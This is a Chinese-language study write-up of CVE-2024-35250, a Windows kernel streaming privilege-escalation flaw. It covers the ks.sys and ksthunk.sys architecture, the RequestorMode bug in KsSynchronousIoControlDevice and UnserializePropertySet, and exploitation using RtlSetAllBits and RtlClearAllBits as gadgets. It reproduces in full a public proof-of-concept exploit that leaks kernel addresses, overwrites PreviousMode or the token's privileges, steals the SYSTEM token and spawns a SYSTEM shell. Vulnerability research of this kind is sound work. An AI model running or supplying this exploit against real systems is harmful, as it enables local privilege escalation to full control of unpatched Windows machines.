CVE-2024-35250分析

前言

原文链接:https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/

本篇文章只做学习记录,对一些不理解的概念进行了补充

Kernel Streaming简单介绍

Kernel Streaming(KS) 是指 Microsoft 提供的服务,这些服务支持流式处理数据的内核模式处理。

Kernel Streaming 中,提供了三种多媒体驱动模型:port classAVStreamstream class

这些类驱动程序在系统文件 portcls.sysstream.sysks.sys (也称为 AVStream) 中作为导出驱动程序 (内核模式 DLL) 实现。

大多数用于PCI 和DMA 型音效装置的硬体驱动程式,它处理与音讯相关的数据传输,例如音量控制、麦克风输入等等,主要会使用到的元件函式库会是portcls.sys。

主要介绍port class 和AVStream

Port Class

由微软提供端口驱动(Port Driver),处理通用音频功能(如混音、格式转换)。硬件厂商只需实现微型端口驱动(Miniport Driver),专注于硬件控制。

image-20250902200915023

AVStream

适用于视频采集、流媒体处理(如摄像头、视频捕获卡)

取代了旧版 KS(Kernel Streaming) 框架,提供更现代的驱动模型。

支持即插即用(PnP)、电源管理,简化了过滤器(Filter)和管脚(Pin)的实现。

image-20250902201053716

设备交互

在我们想要与音频设备和视讯镜头等设备交互时,我们可以通过CreateFile函数开启一个设备,那么这类型的设备,不会像是\Devcie\NamedPipe这类型的名称,而是会像下面这样的路径:

1
\\?\hdaudio#subfunc_01&ven_8086&dev_2812&nid_0001&subsys_00000000&rev_1000#6&2f1f346a&0&0002&0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo
  1. 路径前缀\\?\

    • Windows 中一个特殊的路径前缀,用于指示系统将后面的路径视为一个“原始设备路径”或“长路径”。它绕过了通常的路径解析限制(例如,260个字符的MAX_PATH限制)和某些文件系统解析规则。
  2. 设备类型标识

    hdaudio:表示设备为 高清音频控制器(如 Intel HD Audio)

    类似还有:

    • usb#vid_xxxx&pid_xxxx(USB 摄像头)
    • pci#ven_xxxx&dev_xxxx(PCI 视频采集卡)
  3. subfunc_01代表一个特殊的功能

  4. 硬件标识符

    ven_8086:厂商 ID

    dev_2812:设备型号

    nid_0001:节点 ID

  5. GUID 部分

    {6994ad04-93ef-11d0-a3cc-00a0c9223196}:Windows 定义的设备接口类 GUID(此处是 KSCATEGORY_AUDIO,表示音频设备)

    其他常见 GUID:

    • 摄像头:{65E8773D-8F56-11D0-A3B9-00A0C9223196}
    • 视频采集:{53172480-4791-11D0-A5D6-28DB04C10000}
  6. 功能端点

    ehdmiouttopo:表示设备的特定功能端点(此处是 HDMI 音频输出拓扑)

枚举设备(Enumerate device)

由于硬件配置、厂商 ID、设备实例 ID 等差异,音频/视频设备的路径(如 \\?\hdaudio#...)是动态生成的,不能硬编码在代码中

要使用 Windows 提供的设备管理 API(如 SetupDi* 系列函数)动态获取设备路径

SetupDi*系列核心api

  1. **SetupDiGetClassDevs**获取指定设备类别(如音频、摄像头)的所有设备列表。

    参数:

    • ClassGuid:设备类别的 GUID(如 KSCATEGORY_AUDIO)。
    • Flags:控制枚举范围(如 DIGCF_PRESENT 只枚举当前连接的设备)。
  2. **SetupDiEnumDeviceInterfaces**遍历设备列表,获取每个设备的接口信息(包括设备路径)。

  3. **SetupDiGetDeviceInterfaceDetail**获取设备的详细路径(即 \\?\hdaudio#... 格式的字符串)。

也可以使用KS 所提供的KsOpenDefaultDevice获得指定PnP类别的第一个设备的Handle,实际上来说也只是SetupDiGetClassDevsCreateFile 的封装而已。

1
2
3
4
5
KSDDKAPI HRESULT KsOpenDefaultDevice(
[in] REFGUID Category, // PnP的类别标签
[in] ACCESS_MASK Access, // 指定如何访问默认设备的 ACCESS_MASK 位掩码
[out] PHANDLE DeviceHandle //指向接收所打开的默认设备的句柄的变量的指针
);
1
2
3
4
5
6
7
8
9
#include <Ks.h>
#include <KsMedia.h>

HANDLE g_hDevice;
HRESULT hr = KsOpenDefaultDevice(
KSCATEGORY_VIDEO_CAMERA,
GENERIC_READ | GENERIC_WRITE,
&g_hDevice
);

内核流对象(Kernel Streaming object)

Kernel Streaming 会在Kernel 中建立一些相关的Instance(实例),其中最为重要的就是KS FiltersKS Pins

KS filters

每个KS过滤器通常代表一个物理设备或设备的特定功能模(不仅限于物理设备,也可以用于虚拟设备或软件层面的处理), 作为数据处理的中心枢纽,所有流数据都要通过过滤器进行处理

例如: 打开音频设备后会对应到一个音频过滤器,过滤器可能由多个节点组成,节点对流数据进行处理。音频过滤器通常会处理音频数据流,但它可能包含多个子功能(如解码、编码、效果处理等)

概念上如下图所示,中间的大框表示一个代表音讯设备的KS filter。而我们想要从音讯设备中读取资料时,会从左边读入Filter,经过几个节点进行处理后,从右边输出。

image-20250902213806097

KS pins

作为过滤器的数据输入/输出端点, 必须通过Pin实例才能对Filter进行数据读写操作

主要作用有: 明确区分输入端和输出端, 定义支持的数据格式和传输特性, 控制数据流的方向和行为

KS Property(属性管理系统)

每个KS Object都有自己的KS Property,每个Property都会有相对应的功能,前面所提到的Pin 中的数据格式、音量大小及设备的状态等等,通常会对应到一组GUID,我们可以透过IOCTL_KS_PROPERTY来读取或设定这些Property

例子

例如应用程序从视频摄像头读取数据的流程大致如下图

其最简单的流程大概如这张图所示 :

image-20250902214613487
  1. 开启设备后获得设备Handle
  2. 使用这个Handle 在这个Filter 上建立Pin 的Instance 并获得Pin handle
  3. 使用IOCTL_KS_PROPERTY 设置Pin 的状态到RUN
  4. 最后就可以使用 IOCTL_KS_READ_STREAM 从这个Pin 中读资料进来

内核流式传输架构 (Kernel Streaming architecture)

整个内核流式传输架构大致如下图

image-20250902215335970

在Kernel Stearming 元件中,最为核心的就是ksthunk.sys 及ks.sys,几乎所有功能都会与它们有关。

ksthunk

内核流式 WOW Thunk 服务驱动程序

在调用 DeviceIoControl 应用后,在 Kernel Streaming 的入口点 ,但它功能很简单,负责将 WoW64 进程中的 32 位请求转换成 64 位请求,使得下层的驱动就不必为 32 位结构另外处理。

ksthunk.sys 是一个专门为多媒体(Kernel Streaming)设计的“翻译层”驱动。它作为中间人,将来自老旧32位应用程序的请求转换为现代64位驱动能够理解的格式,从而实现了完美的向后兼容性

ks

内核连接和流架构库

内核流媒体的核心组件之一,它是内核流媒体的库函数,负责转发 IOCTL_KS_PROPERTY 等请求到对应设备的驱动程序中,同时也会负责处理 AVStream 的相关功能。

IOCTL_KS_* 的工作流程

当调用DeviceIoControl时,就会像下图一样,将使用者的request按照顺序发给相应的driver处理

image-20250903105703365

而到第 6 步时 ks.sys 就会根据你 requests 的 Property 来決定要交给哪个 driver 及 handler 來处理你的 request。

image-20250903105826847

最终再转发给相应的driver(驱动程序),如上图最后转发给 portcls 中的 handler 来操作音频设备

前置知识

PreviousMode

其有两种可能**UserMode(0)KernelMode(1)**, 该值会影响内核是否启用某些操作来保障安全性

调用方式 PreviousMode 设置 说明
用户模式应用调用 NtXxx 自动设为 UserMode 系统调用陷阱处理程序(如 syscall / sysenter)会设置 PreviousMode = UserMode
内核驱动调用NtXxx 保持调用线程的原有值 如果线程原本是用户模式调用链的一部分,PreviousMode 可能仍是 UserMode,导致错误。
内核驱动调用 ZwXxx 强制设为 KernelMode ZwXxxNtXxx 的包装器,会临时覆盖 PreviousModeKernelMode,避免安全检查。
image-20250903114412750

RequestorMode

另外一个类似的则是 IRP 中的 RequestorMode 这边就是记录你原始的 requests 是来自 UserMode 还是 KernelMode,在 Kernel driver 中的代码是非常常用到的字段,通常会来自 PreviousMode。

在内核驱动中,常常会用到这个字段决定是否需要对用户的requests做一些额外的安全检查

即如果用户态发送IRP请求进入内核态后调用了Zw*函数, 而Zw\*函数本身又发起了一个IRP请求

此时PreviousMode已经变为KernelMode, 但是后来发起的IRP请求却依然可能包含有用户传递的内容, 从而使用户的请求规避了某些安全检查

事实上确实出现了这种问题:

如果调用方提供了InputBufferOutputBuffer参数,该参数必须指向驻留在系统内存中的缓冲区。调用方需负责验证从用户模式缓冲区复制到输入缓冲区的所有参数值。输入缓冲区可能包含根据请求发起者是用户模式应用程序还是内核模式驱动程序而不同解释的参数值。在IoBuildDeviceIoControlRequest返回的IRP中,RequestorMode字段始终设置为KernelMode。该值表明请求及请求中包含的任何信息均来自可信的内核模式组件。

也就是默认情况下,使用 IoBuildDeviceIoControlRequest 这个方法去创建一个 DeviceIoControl 的 IRP 时,如果你没有特别去设置 RequestorMode 就会直接以 KernelMode 形式去呼叫 IOCTL。

这个 API 主要是 Kernel driver 用来呼叫 IOCTL 的其中一种方法

漏洞分析

1
2
3
4
5
6
7
8
9
NTSTATUS __stdcall KsSynchronousIoControlDevice(
PFILE_OBJECT FileObject,
KPROCESSOR_MODE RequestorMode,
ULONG IoControl,
PVOID InBuffer,
ULONG InSize,
PVOID OutBuffer,
ULONG OutSize,
PULONG BytesReturned)
image-20250903203907174

ks!KsSynchronousIoControlDevice函数中,先调用了IoBuildDeviceIoControlRequest,然后根据参数设置Irp->RequestorMode,且会根据 KsSynchronousIoControlDevice 参数不同而去设置不同的数值

image-20250903204146415

然而几乎所有调用 ks!KsSynchronousIoControlDevice 函数的地方,第二个参数总是设置为KernelMode(0),这就导致了可能存在的安全问题

因此我们将 Kernel Streaming 中的 bug pattern 转换成下列几点:

  1. 有使用 KsSynchronousIoControlDevice
  2. 有可控的
    • 输入缓冲区
    • 输出缓冲区
  3. 第二次处理 IOCTL 的地方有依赖 RequestorMode 做安全检查,并且有可以作为提权利用的地方。 (这个条件说明在原本第二次处理 IOCTL 的时候,如果不做检查,就会有可能的安全问题)

可以发现,在ks!SerializePropertySetks!UnserializePropertySet中都有:(22H2)

image-20250903205141638image-20250903213750850

在 Kernel Streaming 的 IOCTL_KS_PROPERTY 功能中,为了提高效率

提供了 KSPROPERTY_TYPE_SERIALIZESETKSPROPERTY_TYPE_UNSERIALIZESET 功能允许用户通过 单次调用 与多个 Property 进行操作。

当我们用这功能时,这些 requests 将被 KsPropertyHandler 函数分解成多个呼叫

KSPROPERTY_TYPE_SERIALIZESETKSPROPERTY_TYPE_UNSERIALIZESET 请求允许通过客户端的一次调用与多个属性进行交互。如果内核流式处理程序用于处理属性请求,则这些请求将由 KsPropertyHandler 函数分解为多个调用。使用此处理程序时,属性集定义控制要序列化哪些属性。

根据文章,我们可以定位到ks!KsPropertyHandler ->ks!UnserializePropertySet的漏洞调用链,让我们分析一下

ks!UnserializePropertySet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
   .........;
v5 = *(_QWORD *)(a1 + 24);
v6 = *(_QWORD *)(a1 + 184);
.........;
v10 = (char *)(v5 + 20);
.........;
OutBuffer = v10 + 32;
.........;
memmove(PoolWithTag, *(const void **)(v6 + 0x20), InSize); //[1]
PoolWithTag[5] = 2;
v9 = *(_DWORD *)(v5 + 16);
v10 = (char *)(v5 + 20);
v11 = v7 - 20;
v12 = BytesReturned;
while ( v11 && v9 )
{
if ( v11 < 0x20 )
goto LABEL_23;
v13 = v10;
if ( *((_DWORD *)v10 + 5) )
goto LABEL_22;
PoolWithTag[4] = *((_DWORD *)v10 + 6);
v14 = v11 - 32;
OutBuffer = v10 + 32;
OutSize = *((_DWORD *)v13 + 7);
if ( OutSize > v14 )
goto LABEL_23;
v17 = KsSynchronousIoControlDevice(
*(PFILE_OBJECT *)(v12 + 48),
0,
*(_DWORD *)(v12 + 24),
PoolWithTag,
InSize,
OutBuffer, //[2]
OutSize,
(PULONG)&BytesReturned);

可以看到*(const void **)(v6 + 0x20)[1]和OutBuffer[2]都是从参数a1进行偏移得到的

1
return UnserializePropertySet((__int64)Irp, v21, v7);

而调用的时候的参数a1是Irp

Irp的符号是_IRP,找到对应的结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//0xd0 bytes (sizeof)
struct _IRP
{
SHORT Type; //0x0
USHORT Size; //0x2
USHORT AllocationProcessorNumber; //0x4
USHORT Reserved; //0x6
struct _MDL* MdlAddress; //0x8
ULONG Flags; //0x10
union
{
struct _IRP* MasterIrp; //0x18
LONG IrpCount; //0x18
VOID* SystemBuffer; //0x18
} AssociatedIrp; //0x18
struct _LIST_ENTRY ThreadListEntry; //0x20
struct _IO_STATUS_BLOCK IoStatus; //0x30
CHAR RequestorMode; //0x40
UCHAR PendingReturned; //0x41
CHAR StackCount; //0x42
CHAR CurrentLocation; //0x43
UCHAR Cancel; //0x44
UCHAR CancelIrql; //0x45
CHAR ApcEnvironment; //0x46
UCHAR AllocationFlags; //0x47
struct _IO_STATUS_BLOCK* UserIosb; //0x48
struct _KEVENT* UserEvent; //0x50
union
{
struct
{
union
{
VOID (*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK* arg2, ULONG arg3); //0x58
VOID* IssuingProcess; //0x58
};
VOID* UserApcContext; //0x60
} AsynchronousParameters; //0x58
union _LARGE_INTEGER AllocationSize; //0x58
} Overlay; //0x58
VOID (*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x68
VOID* UserBuffer; //0x70
union
{
struct
{
union
{
struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry; //0x78
VOID* DriverContext[4]; //0x78
};
struct _ETHREAD* Thread; //0x98
CHAR* AuxiliaryBuffer; //0xa0
struct _LIST_ENTRY ListEntry; //0xa8
union
{
struct _IO_STACK_LOCATION* CurrentStackLocation; //0xb8
ULONG PacketType; //0xb8
};
struct _FILE_OBJECT* OriginalFileObject; //0xc0
VOID* IrpExtension; //0xc8
} Overlay; //0x78
struct _KAPC Apc; //0x78
VOID* CompletionKey; //0x78
} Tail; //0x78
};

v6 = *(_QWORD *)(Irp + 0xB8);对应_IRP->CurrentStackLocation

*(const void **)(v6 + 0x20)对应_IRP->CurrentStackLocation->DeviceIoControl->Type3InputBuffer,这个参数是用户可控的

但是其实对应到0x20的还有几个成员,估计得之后分析才能解决为什么是对应这个的问题了,我认为是因为本身这个函数操纵的就是device相关的,因此可以认定就是有关 DeviceIoControl 的成员

而经过我的分析OutBuffer就是_IO_STATUS_BLOCK->Pointer,也是来自于用户的Irp请求,现在就要看用户能控制Irp请求到什么level了

而调用 UnserializePropertySet 时的流程,大概如下图所示 :

image-20250904141946368

第一次 IOCTL 时可以看到图中第 2 步 I/O Manager 会将 Irp->RequestorMode 设成 UserMode(1),直到第 6 步时,ks 会去判断用户 requestsProperty 是否存在于该 KS Object 中,如果该 KS Object 的 Property 存在 ,并且 KSPROPERTY_TYPE_UNSERIALIZESET 就会用 UnserializePropertySet 来处理指定的 Property

image-20250904142120404

而接下来第 7 步就会呼叫 KsSynchronousIoControlDevice 重新做一次 IOCTL,而此时新的 Irp->RequestorMode 就变成了 KernelMode(0) 了,而后续的处理就如一般的 IOCTL_KS_PROPERTY 相同

接下来就看怎么调用到UnserializePropertySet

ksthunk!CKSThunkDevice::DispatchIoctl

最先看到的想必就是入口点 ksthunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall CKSThunkDevice::DispatchIoctl(CKernelFilterDevice *a1, IRP *a2, unsigned int a3, int *a4)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rsi
struct CKernelFilterFile *v9; // rax
__int64 v11; // r8
__int64 v12; // rcx

CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
v9 = CKernelFilterDevice::FileObjectToFilterFile(a1, a2);
if ( v9 )
return (*(__int64 (__fastcall **)(struct CKernelFilterFile *, IRP *, _QWORD, int *))(*(_QWORD *)v9 + 40LL))(
v9,
a2,
a3,
a4);
if ( IoIs32bitProcess(a2) && a2->RequestorMode )
{
if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 3080195 )
return CKSAutomationThunk::ThunkPropertyIrp((char *)a1 + 64, a2, v11, a4);
v12 = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart - 3080199;
if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 3080199 )
return CKSAutomationThunk::ThunkEnableEventIrp(v12, a2, v11, a4);
if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 3080203 )
return CKSAutomationThunk::ThunkDisableEventIrp(v12, a2, v11, a4);
}
else if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 0x2F0003 )
{
return CKSThunkDevice::CheckIrpForStackAdjustmentNative((__int64)a1, a2, v11, a4);
}
return 1LL;
}

如果是64位的请求,会执行CKSThunkDevice::CheckIrpForStackAdjustmentNative函数

image-20250904183404906

而在该函数中存在一个对RequestorMode的检查,如果是UserMode访问,会直接返回一个Error代码,但是因为上述分析的第二次IOCTL的处理是KernelMode的,会直接将我们输入的内容作为函数处理,并且第一个参数是可控的

常见的EoP方法

替换token

用System token 取代当前的Process token

  • 系统上运行的每个进程都有其相应的 _EPROCESS 内核结构
  • _EPROCESS 结构包含指向描述进程安全上下文的 _TOKEN 内存结构的指针
  • 内核漏洞利用找到低特权进程的 _TOKEN 结构的地址 - 它想要从中升级的进程
  • 内核漏洞利用查找特权进程的 _TOKEN 结构的地址,以 NT\SYSTEM 形式运行
  • 内核漏洞利用将低特权进程的令牌替换为高特权令牌
image-20250904215419279

在win11中,_EX_FAST_REF是Token的结构体:

1
2
3
4
5
6
7
8
9
10
//0x8 bytes (sizeof)
struct _EX_FAST_REF
{
union
{
VOID* Object; //0x0
ULONGLONG RefCnt:4; //0x0
ULONGLONG Value; //0x0
};
};

这里RefCnt是引用计数,占最后四个bit,例如0x7FFF FFFF,则真正的token是0x7FFF FFF0,然后0xF是引用的次数

修改token权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//0x498 bytes (sizeof)
struct _TOKEN
{
struct _TOKEN_SOURCE TokenSource; //0x0
struct _LUID TokenId; //0x10
struct _LUID AuthenticationId; //0x18
struct _LUID ParentTokenId; //0x20
union _LARGE_INTEGER ExpirationTime; //0x28
struct _ERESOURCE* TokenLock; //0x30
struct _LUID ModifiedId; //0x38
struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40
struct _SEP_AUDIT_POLICY AuditPolicy; //0x58
ULONG SessionId; //0x78
ULONG UserAndGroupCount; //0x7c
ULONG RestrictedSidCount; //0x80
ULONG VariableLength; //0x84
ULONG DynamicCharged; //0x88
ULONG DynamicAvailable; //0x8c
ULONG DefaultOwnerIndex; //0x90
struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98
struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0
VOID* PrimaryGroup; //0xa8
ULONG* DynamicPart; //0xb0
struct _ACL* DefaultDacl; //0xb8
enum _TOKEN_TYPE TokenType; //0xc0
enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4
ULONG TokenFlags; //0xc8
UCHAR TokenInUse; //0xcc
ULONG IntegrityLevelIndex; //0xd0
ULONG MandatoryPolicy; //0xd4
struct _SEP_LOGON_SESSION_REFERENCES* LogonSession; //0xd8
struct _LUID OriginatingLogonSession; //0xe0
struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8
struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; //0x308
VOID* Package; //0x310
struct _SID_AND_ATTRIBUTES* Capabilities; //0x318
ULONG CapabilityCount; //0x320
struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328
struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438
struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440
struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes; //0x448
VOID* TrustLevelSid; //0x450
struct _TOKEN* TrustLinkedToken; //0x458
VOID* IntegrityLevelSidValue; //0x460
struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468
struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470
struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478
struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480
VOID* SessionObject; //0x488
ULONGLONG VariablePart; //0x490
};

其中

1
struct _SEP_TOKEN_PRIVILEGES Privileges;                                //0x40

这个结构体显示了哪些权限disable,哪些权限enable

1
2
3
4
5
6
7
//0x18 bytes (sizeof)
struct _SEP_TOKEN_PRIVILEGES
{
ULONGLONG Present; //0x0
ULONGLONG Enabled; //0x8
ULONGLONG EnabledByDefault; //0x10
};

SYSTEM 的 Present 赋给 任意一个进程的 Present ,就成功 SYSTEM

bypass保护机制

那么接下来就是需要bypass一些保护机制:kCFG、kASLR、SMEP 等等保护

**内核地址随机化(KASLR)**:Windows 定义了四个完整性级别:低、中、高和SYSTEM,在中等性完整度级别下,可以通过使用众所周知的EnumDeviceDriversNtQuerySystemInformation API,轻易饶过KASLR

SMEP:不允许ring0执行ring3的代码,但是可以通过使用内核模式ROP gadget在内核中执行 或者 将shellcode的指针传入内核模式中,然后内核在内核的上下文中执行用户模式的代码(shellcode)

因此在中等性完整度级别下(ring2),最需要考虑的是kCFG

kCFG 中合法的function 名称有set 的function,比较可能是可以写入的。我们这里是直接拿ntoskrnl.exe 中 export fucntion 去寻找看看是否有合法的function,这些大多情况下都是合法的。

在ntoskrnl.exe下的RtlSetAllBits函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __stdcall RtlSetAllBits(PRTL_BITMAP BitMapHeader)
{
unsigned int *Buffer; // r8
unsigned __int64 v2; // rdx

Buffer = BitMapHeader->Buffer;
v2 = (unsigned __int64)(4 * (((BitMapHeader->SizeOfBitMap & 0x1F) != 0) + (BitMapHeader->SizeOfBitMap >> 5))) >> 2;
if ( v2 )
{
if ( ((unsigned __int8)Buffer & 4) != 0 )
{
*Buffer = -1;
if ( !--v2 )
return;
++Buffer;
}
memset(Buffer, 0xFFu, 8 * (v2 >> 1));
if ( (v2 & 1) != 0 )
Buffer[v2 - 1] = -1;
}
}

它是个非常好用的gadget 而且是kCFG 中合法的function,另外也只要控制一个参数_RTL_BITMAP

1
2
3
4
5
struct _RTL_BITMAP
{
ULONG SizeOfBitMap;
ULONG* Buffer;
};

我们可将Buffer 指定到任意位置并指定大小,就可以将一段范围的bits 全部设置起来,到这边就差不多结束了,只要将Token->Privilege全部设置起来,就可以利用Abuse Privilege 方法来做到EoP 了

下述PoC中还有一种利用方式,首先利用RtlClearAllBits将当前线程的PreviousMode设置为KernelMode,然后利用任意写的能力,直接替换当前进程的TOKEN为System进程的TOKEN,达到提权的目的

PoC

网上已经有了公开的poc,让我们分析一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
/*
PoC Info
--------------------------------------------------------------
Vulnerability: CVE-2024-35250/CVE-2024-30084
Tested environment: Windows 11 22h2 Build 22621
Windows 10 20h2 Build 19042
VMWare Workstation 17 Pro
Weakness: CWE-822: Untrusted Pointer Dereference
Required privileges: Medium IL
--------------------------------------------------------------
*/
#define __STREAMS__
#define _INC_MMREG
//#define _SEP_TOKEN_PRIVILEGES 0xc1b4
#define _PREVIOUS_MODE 0xbaba
#include "common.h"

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "SetupAPI.lib")
#pragma comment(lib, "Advapi32.lib")

int main()
{
HANDLE hDevice = NULL;
BOOL res = FALSE;
NTSTATUS status = 0;
uint32_t Ret = 0;

hDevice = GetKsDevice(KSCATEGORY_DRM_DESCRAMBLE);

#ifdef _SEP_TOKEN_PRIVILEGES

HANDLE hToken;
uint64_t ktoken_obj = 0;
res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

if (!res)
{
printf("[-] Failed to open current process token\n");
return res;
}

res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
if (res != NULL)
{
return -1;
}

printf("[+] Current process TOKEN address = %llx\n", ktoken_obj);
#elif defined _PREVIOUS_MODE

uint64_t Sysproc = 0;
uint64_t Curproc = 0;
uint64_t Curthread = 0;

HANDLE hCurproc = 0;
HANDLE hThread = 0;
//
// Leak System _EPROCESS kernel address
//
Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address: %llx\n", Sysproc);

//
// Leak Current _KTHREAD kernel address
//
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current KTHREAD address: %llx\n", Curthread);
}

//
// Leak Current _EPROCESS kernel address
//
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address: %llx\n", Curproc);
}
#endif

//
// Initialize input buffer
//
pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
pInBufProperty->Id = 0x0;

//
// Initialize output buffer
//
pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;

pSerialHdr->Count = 0x1;

pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
pSerial->Id = 0x0; // Should be null
pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
pSerial->PropTypeSet.Flags = 0x0; // Should be null
pSerial->PropTypeSet.Id = 0x45; // Irrelevant value

//
// Intialize fake property data
//
uint64_t ntoskrnl_user_base = 0;
HMODULE outModule = 0;
UINT_PTR ntoskrnlBase = GetKernelModuleAddress("ntoskrnl.exe");
printf("[+] ntoskrnl.exe base address = %llx\n", ntoskrnlBase);
pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), Ptr64(0x10000000));

#ifdef _SEP_TOKEN_PRIVILEGES
//
// FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
//
// It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4;
pOutBufPropertyData->FakeBitmap->Buffer = Ptr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621);
pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64(leak_gadget_address("RtlSetAllBits"));
printf("[!] RtlSetAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#elif defined _PREVIOUS_MODE
//
// FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
//
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20;
pOutBufPropertyData->FakeBitmap->Buffer = Ptr64(Curthread + PREV_MODE_WIN_11_22H2_22621);
pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64(leak_gadget_address("RtlClearAllBits"));
printf("[!] RtlClearAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#endif

//
// Send property request to trigger the vulnerability
//
res = SendIoctlReq(hDevice);

if (!res)
{
printf("[-] SendIoctlReq failed\n"); // It's ok to see this message if exploit succeded
}

#ifdef _SEP_TOKEN_PRIVILEGES

HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));

if (!hWinLogon)
{
printf("[-] OpenProcess failed with error = %lx\n", GetLastError());
return FALSE;
}

CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");

return TRUE;

#elif defined _PREVIOUS_MODE
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

KPROCESSOR_MODE mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations

Write64(Ptr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), Ptr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), TOKEN_SIZE);

//
// Restoring KTHREAD.PreviousMode phase
//
Write64(Ptr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));

//
// Spawn the shell with "nt authority\system"
//
system("cmd.exe");
#endif

return 0;
}

PoC执行流程的详细分析

1
2
3
4
5
6
7
8
9
10
// 条件编译选择利用方式
//#define _SEP_TOKEN_PRIVILEGES 0xc1b4 // TOKEN权限修改方式
#define _PREVIOUS_MODE 0xbaba // PreviousMode绕过方式

// 必要的库依赖
#pragma comment(lib, "Ksproxy.lib") // KS代理库
#pragma comment(lib, "ksuser.lib") // KS用户模式库
